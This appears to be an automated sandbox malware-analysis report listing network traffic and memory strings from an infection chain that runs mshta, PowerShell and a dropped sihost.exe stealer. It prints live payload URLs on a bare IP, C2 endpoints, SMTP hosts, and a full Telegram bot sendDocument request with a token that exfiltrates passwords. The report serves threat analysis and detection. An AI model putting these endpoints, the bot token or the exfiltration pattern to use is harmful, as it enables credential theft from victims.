Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp

String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: exi.link
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org
Source: global traffic	DNS traffic detected: DNS query: us2.smtp.mailhostbox.com

Source: unknown

HTTP traffic detected: POST /bot7247249543:AAEjQNxXUVZRm1ev9K9Jf_pcuz9vHQRkYyU/sendDocument?chat_id=403948698&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dcbd929eb213d3Host: api.telegram.orgContent-Length: 560Connection: Keep-Alive

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 13 Aug 2024 18:25:33 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Tue, 13 Aug 2024 18:25:39 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: mshta.exe, 00000004.00000002.417101402.0000000003932000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.0000000003932000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/
Source: powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/40/sihost.e
Source: powershell.exe, 00000007.00000002.452900071.000000001C3A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/40/sihost.exe
Source: powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/40/sihost.exep
Source: mshta.exe, 00000004.00000002.417101402.0000000003932000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.0000000003932000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/_
Source: mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.hta
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.hta...
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.hta...se
Source: mshta.exe, 00000004.00000003.414459456.0000000000194000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416265424.0000000000184000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.hta06
Source: mshta.exe, 00000004.00000003.414459456.0000000000194000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.416265424.0000000000184000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.0000000000185000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.htaC:
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.htaJ6
Source: mshta.exe, 00000004.00000003.416161559.00000000023F5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.htahttp://192.3.176.138/xampp/sop/40.htaP
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.htalent%
Source: mshta.exe, 00000004.00000003.416265424.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.414459456.00000000001A8000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.416776034.00000000001A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.htat
Source: mshta.exe, 00000004.00000003.416161559.00000000023FD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.3.176.138/xampp/sop/40.htax
Source: sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded
Source: sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: sihost.exe, 00000011.00000002.625935756.0000000002AAA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002AC1000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002854000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002C9A000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CDB000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002733000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002934000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029C7000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.com
Source: sihost.exe, 00000011.00000002.625935756.00000000027FE000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002776000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002733000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002727000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002934000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A00000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A2E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029C7000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002977000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002928000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.000000000093C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/q
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.630457152.0000000005A30000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.630451343.0000000005C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/AAACertificateServices.crl06
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C401000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C3A0000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C401000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.447659470.000000001A885000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.630457152.0000000005A30000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.630451343.0000000005C50000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000007.00000002.438678228.0000000002876000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://go.micros
Source: powershell.exe, 00000007.00000002.446514790.0000000012381000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C401000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C3A0000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C401000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: sihost.exe, 00000011.00000002.625935756.00000000027D4000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000282C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027E3000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027C6000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000274C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.000000000281E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.00000000027F1000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.000000000294D000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A36000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029CE000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A16000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029E4000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A3E000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.00000000029D7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://reallyfreegeoip.org
Source: powershell.exe, 00000007.00000002.438678228.0000000002351000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 0000000C.00000002.457043354.000000000290C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 00000013.00000002.478034779.0000000002AFF000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: sihost.exe, 00000011.00000002.625935756.0000000002AAA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002A9E000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002C9A000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://us2.smtp.mailhostbox.com
Source: sihost.exe, 0000000C.00000002.460456249.00000000043DA000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002691000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624471340.0000000000430000.00000040.00000400.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002891000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: mshta.exe, 00000004.00000002.417101402.00000000038E2000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.415346965.00000000038E4000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.452900071.000000001C412000.00000004.00000020.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.624885368.000000000057C000.00000004.00000020.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.625146284.0000000000964000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: sihost.exe, 00000011.00000002.625935756.0000000002955000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.000000000370C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002914000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002927000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002968000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.629360646.0000000003758000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B56000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B28000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CB5000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002C9A000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002CDB000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002B69000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: sihost.exe, 00000011.00000002.625935756.000000000284C000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: sihost.exe, 00000011.00000002.625935756.000000000284C000.00000004.00000800.00020000.00000000.sdmp, sihost.exe, 00000011.00000002.625935756.0000000002854000.00000004.00000800.00020000.00000000.sdmp, bKVNuVuE.exe, 0000001D.00000002.626231318.0000000002A4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:888683%0D%0ADate%20a
